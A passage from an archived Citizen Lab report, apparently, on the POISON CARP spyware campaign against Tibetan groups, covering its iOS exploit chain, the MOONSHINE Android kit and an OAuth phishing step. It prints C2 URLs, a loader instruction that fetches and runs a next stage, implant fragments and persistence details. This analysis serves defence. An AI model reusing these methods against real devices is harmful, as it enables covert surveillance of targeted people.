{
	"id": "176b6247-c74d-45f1-b85c-924910b081dd",
	"created_at": "2026-04-06T00:09:29.242493Z",
	"updated_at": "2026-04-10T03:35:27.492066Z",
	"deleted_at": null,
	"sha1_hash": "2294e70f0b1af5475cc3f331475bb0319e139efe",
	"title": "Missing Link: Tibetan Groups Targeted with 1-Click Mobile Exploits - The Citizen Lab",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 2688642,
	"plain_text": "Missing Link: Tibetan Groups Targeted with 1-Click Mobile Exploits -\r\nThe Citizen Lab\r\nArchived: 2026-04-02 10:53:52 UTC\r\nKey Findings\r\nBetween November 2018 and May 2019, senior members of Tibetan groups received malicious links in individually\r\ntailored WhatsApp text exchanges with operators posing as NGO workers, journalists, and other fake personas. The\r\nlinks led to code designed to exploit web browser vulnerabilities to install spyware on iOS and Android devices, and\r\nin some cases to OAuth phishing pages. This campaign was carried out by what appears to be a single operator that\r\nwe call POISON CARP.\r\nWe observed POISON CARP employing a total of eight Android browser exploits and one Android spyware kit, as\r\nwell as one iOS exploit chain and iOS spyware. None of the exploits that we observed were zero days. POISON\r\nCARP overlaps with two recently reported campaigns against the Uyghur community. The iOS exploit and spyware\r\nwe observed was used in watering hole attacks reported by Google Project Zero, and a website used to serve exploits\r\nby POISON CARP was also observed in a campaign called “Evil Eye” reported by Volexity. The Android malware\r\nused in the campaign is a fully featured spyware kit that has not been previously documented.\r\nPOISON CARP appears to have used Android browser exploits from a variety of sources. In one case, POISON\r\nCARP used a working exploit publicly released by Exodus Intelligence for a Google Chrome bug that was fixed in\r\nsource, but whose patch had not yet been distributed to Chrome users. In other cases, POISON CARP used lightly\r\nmodified versions of Chrome exploit code published on the personal GitHub pages of a member of Qihoo 360’s\r\nVulcan Team, a member of Tencent’s Xuanwu Lab, and by a Google Project Zero member on the Chrome Bug\r\nTracker.\r\nThis campaign is the first documented case of one-click mobile exploits used to target Tibetan groups, and reflects an\r\nescalation in the sophistication of digital espionage threats targeting the community.\r\nSummary\r\nThe Tibetan community has been besieged by digital espionage for over a decade. In 2009, the Information Warfare Monitor\r\npublished the report Tracking GhostNet, detailing a targeted malware operation that spied on Tibetan organisations including\r\nthe Private Office of His Holiness the Dalai Lama in Dharamsala, India, as well as government offices in 103 countries. At\r\nthe time there were very few public reports of targeted malware campaigns and limited documentation of how these threats\r\naffected civil society.\r\nOver the past ten years, the tactics used in GhostNet have become familiar to Tibetans: emails laden with older exploits used\r\nto deliver custom malware to unpatched computers. Typically, the malware used in these operations target Windows\r\nsystems, with some rare incidents of malware targeting MacOS and Android. A common thread between these espionage\r\ncampaigns is a focus on clever social engineering rather than the technical sophistication of exploits or malware.\r\nWhile these patterns are common, we have observed shifts in tactics seemingly tied to changes in the defensive posture of\r\nthe community. Historically, malware sent as email attachments was the most common threat Tibetan groups experienced. In\r\nresponse, groups in the community promoted a user awareness campaign that advised the use of cloud platforms, such as\r\nGoogle Drive or DropBox, to share documents as an alternative to email attachments. Gradually, we observed a drop in\r\nmalware campaigns against Tibetan groups and a rise in credential phishing, suggesting that operators were changing their\r\ntactics in response. Recently, we have also observed campaigns using malicious OAuth applications, potentially in an effort\r\nto bypass users who are using two-factor authentication on their Google accounts. These changes demonstrate an inherent\r\nasymmetry between the digital defenses of Tibetan groups and the capabilities of the operators who target them: changing\r\nthe behaviour of a community is a slow and gradual process, while an adversary can evolve overnight.\r\nTo address these challenges, Tibetan groups have recently formed the Tibetan Computer Emergency Readiness Team\r\n(TibCERT), a coalition between Tibetan organisations to improve digital security through incident response collaboration\r\nand data sharing. In November 2018, TibCERT was notified of suspicious WhatsApp messages sent to senior members of\r\nTibetan groups. With the consent of the targeted groups, TibCERT shared samples of these messages with Citizen Lab. Our\r\nanalysis found that the messages included links designed to exploit and install spyware on iPhone and Android devices. The\r\ncampaign appears to be carried out by a single operator that we call POISON CARP. The campaign is the first documented\r\nhttps://citizenlab.ca/2019/09/poison-carp-tibetan-groups-targeted-with-1-click-mobile-exploits/\r\nPage 1 of 19\n\ncase of one-click mobile exploits used to target Tibetan groups. It represents a significant escalation in social engineering\r\ntactics and technical sophistication compared to what we typically have observed being used against the Tibetan community.\r\nBetween November 2018 and September 2019, we collected one iOS exploit chain, one iOS spyware implant, eight distinct\r\nAndroid exploits, and an Android spyware package. The iOS exploit chain only affects iOS versions between 11.0 and 11.4,\r\nand was not a zero-day exploit when we observed it. The Android exploits include a working exploit publicly released by\r\nExodus Intelligence for a Google Chrome bug that was patched, but whose patch had not yet been distributed to Chrome\r\nusers. Other exploits include what appears to be lightly modified versions of Chrome exploit code published on the personal\r\nGitHub pages of a member of Tencent’s Xuanwu Lab (CVE-2016-1646), a member of Qihoo 360’s Vulcan Team (CVE-2018-17480), and by a Google Project Zero member on the Chrome Bug Tracker (CVE-2018-6065).\r\nThe exploits, spyware, and infrastructure used by POISON CARP link it to two recently reported digital espionage\r\ncampaigns targeting Uyghur groups. In August 2019, Google Project Zero reported on a digital espionage campaign\r\nidentified by Google’s Threat Analysis Group that used compromised websites to serve iOS exploits (including a zero-day in\r\none case) to visitors for the purpose of infecting their iPhones with spyware. Subsequent media reporting cited anonymous\r\nsources who stated that the campaign targeted the Uyghur community and that the same websites were being used to serve\r\nAndroid and Windows malware1. Following these reports, Volexity published details of a digital espionage campaign\r\nagainst Uyghurs that used compromised websites to infect targets with Android malware. While Volexity did not provide\r\nany technical indicators that overlap with Google’s report, they speculated that the operator may be the same in both cases.\r\nOur report provides these missing links.\r\nPOISON CARP used an iOS exploit chain identified in the Google Project Zero report, and used spyware that appears to be\r\nan earlier version of the implant sample described by Google. POISON CARP used the domain msap[.]services to serve\r\nthe iOS exploit, an indicator that Volexity’s report found in the code of a compromised Uyghur website. Based on these\r\nsimilarities, it is likely the campaigns were conducted by the same operator, or a coordinated group of operators, who have\r\nan interest in the activities of ethinic minority groups that are considered sensitive in the context of China’s security\r\ninterests.\r\nThe report proceeds as follows:\r\nIn Section 1, we describe the social engineering tactics used to target the Tibetan community.\r\nSection 2 provides an overview of the iOS exploit and spyware used in the campaign and highlights similarities with\r\nthe tool set described in the Google Project Zero report.\r\nSection 3 identifies the Android exploits and provides our analysis of the novel spyware payload used in the\r\ncampaign.\r\nSection 4 describes a malicious OAuth Application designed to gain access to Gmail accounts that was observed\r\nonce in the campaign.\r\nFinally, we conclude in Section 5 with a discussion of the overlap between POISON CARP and the campaigns\r\ndescribed by Google Project Zero and Volexity. We also consider the significance of mobile threats for the digital\r\nsecurity of the Tibetan community, and civil society in general.\r\n1. Targeting\r\nBetween November 11-14, 2018, we observed 15 intrusion attempts against individuals from the Private Office of His\r\nHoliness the Dalai Lama, the Central Tibetan Administration, the Tibetan Parliament, and Tibetan human rights groups. On\r\nApril 22 and May 21 2019, we observed two additional attempts. The majority of people who were targeted hold senior\r\npositions in their respective organizations.\r\nThe intrusion attempts arrived via WhatsApp messages from seven fake personas designed to appear as journalists, staff at\r\ninternational advocacy organisations, volunteers to Tibetan human rights groups, and tourists to India. The fake personas\r\nexclusively used WhatsApp phone numbers with Hong Kong country codes (+852).\r\nThroughout the campaign, POISON CARP demonstrated significant effort in social engineering. The personas and messages\r\nwere tailored to the targets, and POISON CARP operators actively engaged in conversations and persistently attempted to\r\ninfect targets. Overall, the ruse was persuasive: in eight of the 15 intrusion attempts, the targeted persons recall clicking the\r\nexploit link. Fortunately, all of these individuals were running non-vulnerable versions of iOS or Android, and were not\r\ninfected.\r\nA Fake Amnesty International Researcher\r\nhttps://citizenlab.ca/2019/09/poison-carp-tibetan-groups-targeted-with-1-click-mobile-exploits/\r\nPage 2 of 19\n\nOn November 13, 2018, a senior staff member at a Tibetan human rights group was contacted on WhatsApp from a\r\npreviously unknown number. The persona claimed to be “Jason Wu,” head of the “Refugee Group” at Amnesty\r\nInternational’s Hong Kong branch. There does not appear to be any “Jason Wu” currently employed by Amnesty\r\nInternational.\r\nOnce the target replied (Figure 1), the persona quickly introduced the topic of a recent self-immolation in Tibet and claimed\r\nto be attempting to verify social media reports for use in an upcoming Amnesty International report on human rights in\r\nChina, and for an upcoming statement critical of the Chinese government’s treatment of ethnic minorities. Once the pretext\r\nwas established, the operator shared a link shortened with bit.ly . The link redirected to a page on www.msap[.]services\r\nthat contained an iOS exploit chain targeted at versions 11.0 through 11.4.\r\nThe target recalls clicking on the link, but was not infected because their iPhone was running iOS version 12.0.1. Perhaps\r\nbecause the operator did not observe a successful infection, they continued to converse with the target (Figure 2), sharing\r\nadditional exploit links. Several hours later, the persona explained that they had confirmed information about the self-immolation with contacts at the Central Tibetan Administration, which may have been an effort to make the interaction seem\r\nbenign to the target.\r\nFrom iOS to Android Exploit Attempts\r\nIn another intrusion attempt, a staff member from the same Tibetan human rights organization was contacted by “Lucy\r\nLeung,” a persona masquerading as a New York Times reporter seeking an interview. After a brief pretext, the persona sent\r\nthe target an iOS intrusion attempt linking directly to www.msap[.]services (Figure 3).\r\nhttps://citizenlab.ca/2019/09/poison-carp-tibetan-groups-targeted-with-1-click-mobile-exploits/\r\nPage 3 of 19\n\nThe persona persistently requested that the target click the link. The target recalls clicking on the link, but they were not\r\ninfected as they were using an Android device. The persona then sent an Android exploit link, this time disguising it via\r\nbit.ly .\r\n2. iOS Exploit Kit\r\nOf the 17 intrusion attempts we observed against Tibetan targets, 12 contained links to the iOS exploit. All but one of the\r\nattempts were sent between November 11-14, 2018, with the last attempt sent on April 22, 2019. The exploit links pointed to\r\nwhat appear to be unique shortcodes on www.msap[.]services (e.g., http://www.msap[.]services/ZQfqzs ). Links were\r\nsometimes sent directly, and sometimes via URL shorteners such as Bitly.\r\nRequesting a malicious link hosted on the www.msap[.]services domain using an iPhone User-Agent string (iOS 11.0 –\r\n11.4) returned a valid html page including two iframes: one full-sized iframe displaying a benign decoy webpage and an\r\ninvisible iframe leading to an exploit page on a different website. Attempts to visit with other user agents we tested resulted\r\nin a 302 redirect to the decoy webpage. Attempts to visit nonexistent short-links on the www.msap[.]services domain\r\nresulted in a 302 redirect of the target’s browser to apple.com .\r\nAs of September 6, 2019, the Bitly link statistics recorded 140 total clicks on the iOS exploit short links. We obtained a\r\nsingle iOS exploit chain from the links sent in November 2018. We were unable to obtain any malicious code from the April\r\n2019 link. The exploit chain appeared to be designed to target iOS versions 11 – 11.4 on all iPhone models 6 – X, although\r\nwe were unable to successfully infect an iPhone SE running iOS 11.4 during testing. The first exploit in the chain was a\r\nWebKit JavaScriptCore exploit, which resulted in the loading of an iOS privilege escalation exploit chain that ultimately\r\nexecuted a spyware payload designed to steal data from a range of applications and services.\r\nWe reported the exploit chain to Apple shortly after discovering it in November 2018. Apple confirmed that both the\r\nbrowser and privilege escalation exploits had been patched as of iOS 11.4.1 in July 2018. The browser exploit used in the\r\nPOISON CARP campaign appeared to match an exploit described in the Google Project Zero report (JSC Exploit 4, related\r\nto WebKit issue 185694). Apple further confirmed that the privilege escalation and sandbox escape exploit we encountered\r\nwas identical to iOS Exploit Chain 3 from the Google report. Therefore, when the exploit was deployed against Tibetan\r\ngroups, it was not a zero-day and was at least four months out-of-date.\r\nEncrypted Malcode Delivery\r\nOne noteworthy feature of the exploitation process was that the exploits and malcode were encrypted with an ECC Diffie-Hellman (ECDH) key exchange between the target browser and the operator’s server (Figure 4). The encrypted delivery of\r\nthe exploit and payload would prevent a network intrusion detection system (such as those commonly used in enterprise\r\nhttps://citizenlab.ca/2019/09/poison-carp-tibetan-groups-targeted-with-1-click-mobile-exploits/\r\nPage 4 of 19\n\nsettings) from detecting malicious code, and prevents analysts from reconstructing and analyzing the malicious code from a\r\nnetwork traffic capture alone. Of course, analysts can still extract the malicious code in other ways, such as from memory\r\ndumps or browser-based instrumentation.\r\nThe specific code for encrypted malcode delivery used by POISON CARP is based on a project called IronSquirrel\r\ndeveloped by security researcher Zoltan Balazs in 2017. However, the use of encrypted malcode delivery was first seen in\r\n2015 in the Angler Exploit Kit and later in several other kits.\r\nImplant Analysis\r\nThe spyware implant we acquired from the exploit chain in November 2018 was similar, though not identical, to the implant\r\ndescribed by Google Project Zero researchers. Based on the technical details provided in the Google report, we believe the\r\ntwo implants represent the same spyware program in different stages of development. The November 2018 version we\r\nobtained appears to represent a rudimentary stage of development: seemingly important methods that are unused, and the\r\ncommand and control (C2) implementation lacks even the most basic capabilities. The Implant Teardown section of the\r\nGoogle Project Zero report shows a fairly full-featured implant. We highlight some differences between the two samples\r\nbelow.\r\nInitialisation\r\nThe main functionality of the implant is implemented in the Service class. The class start method (Figure 5) initialises\r\na timer using the startTimer method to create a persistent execution loop.\r\nhttps://citizenlab.ca/2019/09/poison-carp-tibetan-groups-targeted-with-1-click-mobile-exploits/\r\nPage 5 of 19\n\nOnce complete, the start method carries out initial device information collection and upload to the C2 server, followed by\r\ncollection and upload of various application data including location data, contacts, call history, SMS history, and more.\r\nIMPLANT COMPARISON: start method\r\nThe start method in the implant that Google Project Zero researchers analyzed (which we refer to as the P0 version) had the\r\nfollowing structure:\r\n-[Service start] {\r\n [self startTimer];\r\n [self upload];\r\n}\r\nIn this version, the initial device information collection takes place in the upload method, making the start method much\r\nsimpler. The P0 version also appears to add a data retrieval method to obtain the contents of the Apple Mail application,\r\nsomething which is not found in the version we analyzed.\r\nThe specific device information gathered during the implant initialisation, executed by the uploadDevice method, consists\r\nof:\r\niPhone model\r\niPhone name\r\niPhone serial number\r\niOS Version\r\nPhone number\r\nICCID of the SIM Card\r\nIMEI of the device\r\nNetwork connection method (wifi or cellular)\r\nIMPLANT COMPARISON: data collection\r\nIn the P0 version, the same device info was collected via the  uploadDevice  method, however this version also collected\r\ntwo additional pieces of information:\r\nTotal disk space\r\nhttps://citizenlab.ca/2019/09/poison-carp-tibetan-groups-targeted-with-1-click-mobile-exploits/\r\nPage 6 of 19\n\nFree disk space\r\nDuring initial data collection and exfiltration, the implant contacts the C2 server using the remotelist method to request a\r\nlist of applications from which the operator wishes to exfiltrate data. In the case where no list is returned, the implant has a\r\npredefined list of hardcoded applications which consists of:\r\nViber (com.viber)\r\nVoxer (com.rebelvox.voxer-lite)\r\nTelegraph (ph.telegra.Telegraph)\r\nGmail (com.google.Gmail)\r\nTwitter (com.atebits.Tweetie2)\r\nQQMail (com.tencent.qqmail)\r\nWhatsApp (net.whatsapp.WhatsApp)\r\nIMPLANT COMPARISON: targeted applications\r\nThe P0 version adds the following applications to the default list:\r\nYahoo Mail (com.yahoo.Aerogram)\r\nOutlook (com.microsoft.Office.Outlook)\r\nNetEase Mail Master (com.netease.mailmaster)\r\nSkype (com.skype.skype)\r\nFacebook (com.facebook.Facebook)\r\nWeChat (com.tencent.xin)\r\nCommand and (Lack of) Control\r\nOnce the persistence timer takes control of the run loop, two methods are called: status and capp (Figure 6).\r\nThe status method sends a heartbeat message to the C2 server containing the current network connection method (wifi or\r\ncellular). Knowing whether the target is on wifi or cellular is important to operators, as exfiltrating large amounts of data\r\nusing a cellular connection could tip off the target to the surveillance if they receive a data overage alert from their provider.\r\nFigure 7 shows the status method.\r\nIn our sample, this data is sent via (unencrypted) HTTP POST to a C2 server at hxxp://66.42.58[.]59:9078/status .\r\nhttps://citizenlab.ca/2019/09/poison-carp-tibetan-groups-targeted-with-1-click-mobile-exploits/\r\nPage 7 of 19\n\nThe other method called by the timer loop, capp (Figure 8), issues a request to the C2 server, again using the remotelist\r\nmethod, to request a list of applications from which the operator wishes to exfiltrate data.\r\nThe remotelist method makes a call via HTTP POST, again unencrypted, to hxxp://66.42.58[.]59:9078/list . In our\r\nsample, this is the only function that the C2 server can utilise.\r\nIMPLANT COMPARISON: command and control\r\nIn the P0 version of the implant, the  timer_handle  method has a similar structure, however the  capp  method is renamed\r\nto  cmds :\r\n-[Service cmds] {\r\n NSLog(@\"cmds\");\r\n [self remotelist];\r\n NSLog(@\"finally\");\r\n}\r\nThe P0 version of the  remotelist  method is significantly improved, and able to parse and handle a variety of commands\r\nfrom the command and control server:\r\n[snip]\r\ndata_obj = [json objectForKey:@\"data\"];\r\nNSLog(@\"data Result: %@\", data_obj);\r\ncmds_obj = [data_obj objectForKey:@\"cmds\"];\r\nNSLog(@\"cmds: %@\", cmds_obj);\r\nfor (cmd in cmds_obj) {\r\n [self doCommand:cmd];\r\nhttps://citizenlab.ca/2019/09/poison-carp-tibetan-groups-targeted-with-1-click-mobile-exploits/\r\nPage 8 of 19\n\n}\nThe P0 version passes received commands to the doCommand method, which is ultimately responsible for dispatching\nvarious data collection and exfiltration methods depending on the options chosen by the malware operator. A complete list of\nthe commands available to the operator are documented in the Google Project Zero report.\nSummary\nWe suspect that the implant we observed is in a rudimentary state of development, due to the seeming lack of C2 server\ncommunication capabilities. There are numerous methods which appear, both in name and function, to have been designed\nto capture and exfiltrate specific device and application data. While they are called on the initial execution of the implant via\nthe start method, they are not called again via any interaction from the C2 server. Additionally, there are numerous utility\nmethods with suggestive names that are never invoked:\n[Util:pathOfWhatsappData]\n[Util:pathOfWhatsappGroup]\n[Util:pathOfTwitterData]\n[Util:pathOfProtonMailData]\n[Util:pathOfProtonMailGroup]\nGiven the enhancements in the implant version analyzed by the Google Project Zero team, we strongly suspect that our copy\nof the implant represents an earlier stage of development.\n3. MOONSHINE: Android Exploit Kit and Payload\nDuring the course of the campaign, POISON CARP sent targets four malicious links pointing to Android exploits via\nWhatsApp. While we did not identify any shared infrastructure or code similarities between the iOS and Android exploits or\npayloads, it is clear that POISON CARP was using both tools (Figure 3). We refer to the Android exploit and malware kit as\nMOONSHINE, given a number of Alcohol-related strings included by the developer. This kit has not been publicly\ndescribed previous to this report.\nThe Android exploit links were links of the following form, where [MoonshineSite] was an IP address or domain name of a\nserver running MOONSHINE, and [URL] was a Base64-encoded decoy URL where the user was redirected post-exploitation, or if exploitation failed:\nhxxp://[MoonshineSite]:5000/web/info?org=[URL]\nIf a target accessed the link using a Chrome-based Android browser, they received a webpage with the code in Figure 9,\ndesigned to coerce their device to open the exploit URL inside the Facebook app’s built-in Chrome-based web browser.\n\n[fb://webview/?url=http://[MoonshineSite]:5000/web/info?org=[URL]](fb://webview/?url=http://[MoonshineSite]:5000/web/info?org=[URL]) Figure 9: JavaScript attempts to force the URL to be opened in the Facebook app.\nhttps://citizenlab.ca/2019/09/poison-carp-tibetan-groups-targeted-with-1-click-mobile-exploits/\nPage 9 of 19\n\nWhen the exploit URL was opened with an Android Facebook User-Agent header, MOONSHINE checked the header to see\r\nif the Chrome version was vulnerable to one of eight different Chrome exploits (Table 1), which are all fixed in the latest\r\nChrome version. Four of the MOONSHINE exploits are clearly copied from working exploit code posted by security\r\nresearchers on bug trackers or GitHub pages. In contrast to the iOS exploit architecture, the Android exploit and payload\r\ndelivery was not encrypted with ECDH keys (or even HTTPS).\r\nUser\r\nAgent in\r\nRequest\r\nExploit Returned\r\nChrome \u003c\r\n38\r\n(None)\r\nChrome 39\r\n– 40\r\nExploit #1: Appears to include a CVE-2016-1646 exploit published on Kai Kang’s Github\r\naccount (@4B5F5F4B) of Tencent’s Xuanwu Lab2.\r\nChrome 41 (None)\r\nChrome 42\r\n– 49\r\nExploit #1\r\nChrome 50\r\nExploit #2: Appears to be CVE-2016-5198, a bug publicly credited to Tencent’s Keen\r\nSecurity Lab via Trend Micro’s Zero Day Initiative and fixed in Chrome 54.0.2840.87. The\r\nauthor of the specific exploit used here is unknown, though there is substantial code\r\noverlap with Exploit #1.\r\nChrome 51\r\n– 55\r\nExploit #3: Appears to be CVE-2017-5030, a bug publicly credited to security researcher\r\nBrendon Tiszka. The author of the specific exploit used here is unknown.\r\nChrome 56\r\n– 58\r\nExploit #4: Appears to include a CVE-2017-5070 exploit published on Qixun Zhao’s\r\nGithub account (@S0rryMybad) of Qihoo 360’s Vulcan Team.\r\nChrome 59\r\n– 61\r\n(None)\r\nChrome 62\r\n– 63\r\nExploit #5: Appears to include a CVE-2018-6065 exploit published on the Google\r\nChrome bug tracker by Mark Brand of Google Project Zero.\r\nChrome 64\r\n– 67\r\n(None)\r\nChrome 68\r\n– 69\r\nExploit #6: Appears to be CVE-2018-17463, a bug publicly credited to security researcher\r\nSamuel Groß. The author of the specific exploit used here is unknown.\r\nChrome 70\r\nExploit #7: Appears to be CVE-2018-17480, a bug successfully exploited at the Tian Fu\r\nCup PWN Contest. The bug is credited to Guang Gong (@oldfresher) of Qihoo 360’s\r\nAlpha Team, though the author of the specific exploit used here is unknown.\r\nChrome\r\n71-73\r\nExploit #8: Appears to be CVE-2019-5825, a bug publicly credited to several researchers\r\nat Tencent’s Keen Security Lab. The specific exploit used here was written and published\r\nby Exodus Intelligence after they examined the git log for Chrome’s JavaScript engine,\r\nand found a vulnerability that had been fixed in source code, but whose patch had not yet\r\nshipped to Chrome users.\r\nTABLE 1\r\nChrome Exploits used in MOONSHINE\r\nEach exploit ran the same shellcode, which downloaded an ARMv7 ELF binary file (which we call the Loader) from\r\nhxxp://[MoonshineSite]:5000/dev/loader , and stored the binary in the Facebook app folder as\r\n(/data/data/com.facebook.katana/[BinaryName]), where [BinaryName] is a random alphanumeric string. The shellcode then\r\nexecuted the Loader, passing http://[MoonshineSite]:5000/ and /data/data/com.facebook.katana/[BinaryName] as\r\narguments.\r\nhttps://citizenlab.ca/2019/09/poison-carp-tibetan-groups-targeted-with-1-click-mobile-exploits/\r\nPage 10 of 19\n\nWe also tried fetching the exploits using an Android User-Agent for Facebook Messenger. In that case, everything was the\r\nsame, except the Loader was downloaded to the Facebook Messenger app folder\r\n( /data/data/com.facebook.orca/[BinaryName] ), and this path was passed by the shellcode as the second argument to the\r\nLoader.\r\nAndroid Implant Overview\r\nThe MOONSHINE Loader was the first in a series of intermediary staged malware binaries sequentially executed to deliver\r\nthe ultimate payload: a fully featured Android spyware package called “Scotch” by its developers. Figure 10 provides an\r\noverview of the installation process.\r\nMOONSHINE is designed for stealthy rootless operation, by exploiting popular legitimate Android apps with built-in\r\nbrowsers that request sensitive permissions. MOONSHINE obtains persistence by overwriting an infrequently used shared\r\nlibrary (.so) file in one of these apps with itself. When a targeted user opens the legitimate app after exploitation, the app\r\nloads the shared library into memory, which causes the spyware to activate. While code in subsequent stages of\r\nMOONSHINE suggests that it can be deployed against four apps (Facebook, Facebook Messenger, WeChat, and QQ), the\r\nexploit site we tested against did not deliver any exploits for WeChat or QQ User-Agent headers.\r\nThe ultimate spyware tool deployed by MOONSHINE, Scotch, is a modular Java application which uses the WebSocket\r\nprotocol to communicate with its C2 server. The Scotch payload itself has limited espionage features, such as obtaining\r\ndevice information and uploading files from the infected device. However, as part of its initial contact with the C2, Scotch\r\ndownloads additional plugins. During our analysis, we were able to acquire two plugin packages, named “Bourbon.jar” and\r\n“IceCube.jar” which added functionality including exfiltrating SMS text messages, address books, and call logs, and spying\r\non the target through their phone’s camera, microphone, and GPS.\r\nLoader Stage\r\nAfter the MOONSHINE Loader is installed, the Loader POSTs a check-in message to the C2 server using the path:\r\nhxxp://[MoonshineSite]:5000/dev/loader/post .\r\nThe C2 server response provides instructions to the Loader, including a URL from which to download and execute the next\r\nstage of the malware chain (tdu= parameter), as well as a series of files to delete from the app folder (cf= parameter), which\r\nmay be generated in certain circumstances by different invocations of the Loader. When we POSTed a check-in message to a\r\nC2, we received the following instructions:\r\nLD\u0026l=/data/data/com.facebook.katana;rs=0;lf=;tdu=http://[MoonshineSite]:5000/im/lure;tn=.lure;cf=excit,s.r.zip,busybox,install.\r\ndebug.apk,.lure,libNetwork.so,report,;\r\nThe instructions cause the Loader to download /im/lure into the Facebook app folder, and execute it. This binary was an\r\nARMv7 ELF binary that the developers refer to as Whisky based on strings in the binary.\r\nhttps://citizenlab.ca/2019/09/poison-carp-tibetan-groups-targeted-with-1-click-mobile-exploits/\r\nPage 11 of 19\n\nWhisky Stage\r\nWhisky’s first step is to determine which shared library (.so) file should be overwritten by the next stage of MOONSHINE\r\n— called “Bourbon” by developers — by determining the current application context from the current working directory\r\n(Table 2). If Whisky happens to be running as the root user on the Android device, then the target filename used is\r\n/data/local/tmp/libbourbon.so .\r\nIf current application\r\nis …\r\nThen write to this shared library filename:\r\ncom.facebook.katana\r\n(Facebook)\r\n/data/data/com.facebook.katana/lib-xzs/libaborthooks.so\r\ncom.facebook.orca\r\n(Facebook Messenger)\r\n/data/data/com.facebook.orca/lib-xzs/liblog.so\r\ncom.tencent.mm\r\n(WeChat)\r\n/data/data/com.tencent.mm/app_tbs/core_share/libwebp_base.so\r\ncom.tencent.mobileqq\r\n(QQ)\r\n/data/data/com.tencent.mobileqq/files/TencentVideoKit/armeabi/libckeygenerator.so\r\ntable 2\r\nApplication context to destination filename map.\r\nThese destination filenames are chosen intentionally, and act as a method of persistence and covert execution. In the case of\r\nFacebook and Facebook Messenger, the shared library files in Table 2 are loaded when the apps start. After determining the\r\ndestination filename, Whisky extracts Bourbon by following these high level steps:\r\n1. Determine the size, s, of the encrypted data chunk using the last 4 bytes of the file (Figure 11).\r\n2. Read an XXTEA encryption key, k, from the 16 bytes preceding s.\r\n3. Read the MD5 hash, m, of the encrypted data chunk from the 32 bytes preceding k.\r\n4. Extract s bytes preceding m, to obtain the encrypted Bourbon binary.\r\n5. Validate that the MD5 hash of the encrypted Bourbon binary matches m.\r\n6. Decrypt the binary using XXTEA algorithm with key k, to obtain the final Bourbon binary.\r\nhttps://citizenlab.ca/2019/09/poison-carp-tibetan-groups-targeted-with-1-click-mobile-exploits/\r\nPage 12 of 19\n\nBourbon Stage\r\nWhen a user opens the app that Bourbon has been implanted inside, e.g., Facebook, the\r\nApp loads the Bourbon library into the Android Runtime, which calls Bourbon’s JNI_Onload method. The JNI_Onload\r\nmethod in Bourbon extracts the next payload, named “Scotch”, from itself using the extractScotch method (Figure 12). The\r\nmethod takes the following steps:\r\n1. Determine the C2 server IP address, x, by converting the last 4 bytes of the Bourbon binary to decimal.\r\n2. Extract the size, s, of the Scotch payload from the 4 bytes preceding x.\r\n3. Read the MD5 hash, m, of the Scotch binary from the 32 bytes preceding s.\u003e\r\n4. Extract s bytes preceding m, to obtain the Scotch payload.\r\n5. Validate that the MD5 hash of the extracted Scotch binary matches m.\r\n6. Create an instance of the com.sec.whisky.Scotch class, passing the IP address x as an argument to the constructor.\r\nThe Scotch implant is written to disk in the directory for the app that Bourbon was implanted in, for example:\r\n/data/data/com.facebook.katana/app_sikhywis_ca55200e/scotch.jar .\r\nScotch Stage\r\nThe Scotch stage is the final implant, providing an extensible, persistent spyware tool. Upon loading, the Scotch implant\r\ngenerates two identifiers: a Whisky_ID , generated by taking the SHA256 hash of a random UUID value, and a Device_ID ,\r\nconstructed by taking the SHA256 hash of a fingerprint string comprised of various values specific to the infected device.\r\nThe implant then makes a connection to port 10011 on the C2 server using the WebSocket protocol, thereby allowing bi-directional communication between the implant and the C2 server. Using this WebSocket connection, Scotch sends an initial\r\ncheck-in message to the C2 server at the following URL: ws://[MoonshineSite]:10011/ws?whisky_id=\r\n[sha256]\u0026device_id=[sha256]\u0026error=0 .\r\nScotch provides some basic espionage capabilities out of the box, but it downloads plugins from the C2 server to augment\r\nits functionality. The basic C2 commands available in Scotch’s initial state are:\r\nDEV_INFO: Get detailed information on the device (SIM Card information, hardware, sensors)\r\nGET_FILE: Upload a file from the phone\r\nhttps://citizenlab.ca/2019/09/poison-carp-tibetan-groups-targeted-with-1-click-mobile-exploits/\r\nPage 13 of 19\n\nGET_PLUGIN_INFO: Install additional plugins\r\nWhen we infected our test device with Scotch, it was immediately updated with two new plugin bundles in DEX format:\r\nBourbon.jar and IceCube.jar . The Bourbon.jar plugin package added the following functionality:\r\nGET_CALLLOG: Track phone calls received by the phone\r\nGET_CONTACT: List and track contacts added on the phone\r\nGET_FILE: A more advanced version of the built-in GET_FILE command to upload and download files\r\nGET_LOCATION: Track the phone’s location, including through GPS\r\nGET_SMS: Track SMS messages received by the phone\r\nThe IceCube.jar plugin package added further functionality:\r\nCAMERA: List available cameras and take pictures\r\nNOTIFICATION: Show a notification on the phone\r\nRECORD: Record audio from the microphone\r\nSCREEN_SNAP: Take screenshots\r\nSHELL: Execute a shell command\r\nThe implant and C2 communicated using JSON formatted messages which were compressed using GZIP and then Base64\r\nencoded prior to transmission via WebSocket. After capturing network traffic between our infected device and the C2 server,\r\nwe were able to decode and observe the communication pattern. An example of this traffic is provided in Appendix A.\r\nDuring analysis of MOONSHINE websites, we discovered two distinct login pages that may be used to manage implants\r\nand exploits. Screenshots of these interfaces are shown in Figure 13. ScotchManager was hosted on port 9090, and\r\nVodkaManager was hosted on port 8080.\r\nAlthough one of these panels carries the name VodkaManager, we did not uncover any specific module or component of\r\nMOONSHINE that used the name “Vodka”.\r\nSummary\r\nWe believe that the discovery of this Android exploit and spyware kit we dubbed MOONSHINE represents a previously\r\nundocumented espionage tool. Its multi-stage installation approach along with its persistence via shared object library\r\nhijacking both suggest a high degree of operational security awareness and skilled development.\r\n4. Malicious OAuth Application\r\nOpen Authentication (OAuth) is a protocol designed for access delegation and has become a popular way for major\r\nplatforms (e.g., Facebook, Google, Twitter, etc.) to permit sharing of account information with third party applications.\r\nMalicious OAuth applications have been used in phishing attacks both in digital espionage operations and generic\r\ncybercrime. Recently, we have also seen campaigns using malicious OAuth applications targeting the Tibetan community,\r\nperhaps in an effort to phish users who take advantage of two-factor authentication to secure their Google accounts.\r\nOn May 31, 2019, a member of the Tibetan Parliament received a WhatsApp message requesting confirmation of a news\r\nstory (Figure 14). The same individual previously was sent iOS exploit links in a WhatsApp message in November 2018.\r\nThe message included two Bitly links. The first short link sent in the message extended to hxxps://www.energy-https://citizenlab.ca/2019/09/poison-carp-tibetan-groups-targeted-with-1-click-mobile-exploits/\r\nPage 14 of 19\n\nmail[.]org/B20V54 , which redirected to a Google OAuth application called Energy Mail that 